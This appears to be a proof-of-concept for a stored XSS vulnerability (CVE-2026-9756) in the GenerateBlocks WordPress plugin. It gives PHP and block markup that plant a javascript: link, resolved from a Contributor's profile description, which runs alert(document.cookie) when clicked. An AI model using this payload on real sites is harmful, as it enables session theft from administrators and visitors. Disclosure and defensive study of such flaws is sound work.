CVE-2026-9756 WordPress GenerateBlocks插件存储型XSS漏洞

<?php /** * PoC for CVE-2026-9756 - GenerateBlocks Stored XSS via linkMetaFieldType * * Attack vector: * 1. Authenticate as a Contributor-level user * 2. Store a JavaScript payload in the user profile description field * (which is whitelisted by get_safe_user_meta_keys()) * 3. Create a Headline block with linkMetaFieldType set to * "javascript:<payload>" so the dynamic link resolves to the * attacker-controlled javascript: URI * 4. When any user (including admins) clicks the rendered headline * link, the stored payload executes in their browser * * NOTE: This is a conceptual reproduction snippet for educational * and defensive purposes only. */ // Step 1: As a Contributor, update profile description with JS payload // WordPress stores this in the usermeta table under 'description' $payload = "alert(document.cookie);//"; // example: steal session cookie wp_update_user([ 'ID' => $contributor_user_id, 'description' => $payload, ]); // Step 2: When creating/editing a post, insert a GenerateBlocks Headline // block via the REST API or block markup. The block attributes include: // // linkMetaFieldType = "javascript:" <-- attacker-controlled prefix // dynamicLinkType = "meta" <-- resolve href from user meta // linkMetaKey = "description" <-- whitelisted meta key // // Resulting rendered HTML (simplified): // <a href="javascript:alert(document.cookie);//">Click me</a> // // Step 3: Any visitor who clicks the link triggers the payload. // --- Equivalent raw block markup (Gutenberg block comment) --- /* <!-- wp:generateblocks/headline { "linkMetaFieldType":"javascript:", "dynamicLinkType":"meta", "linkMetaKey":"description", "tagName":"h2" } --> <h2><a href="javascript:alert(document.cookie);//">Headline text</a></h2> <!-- /wp:generateblocks/headline --> */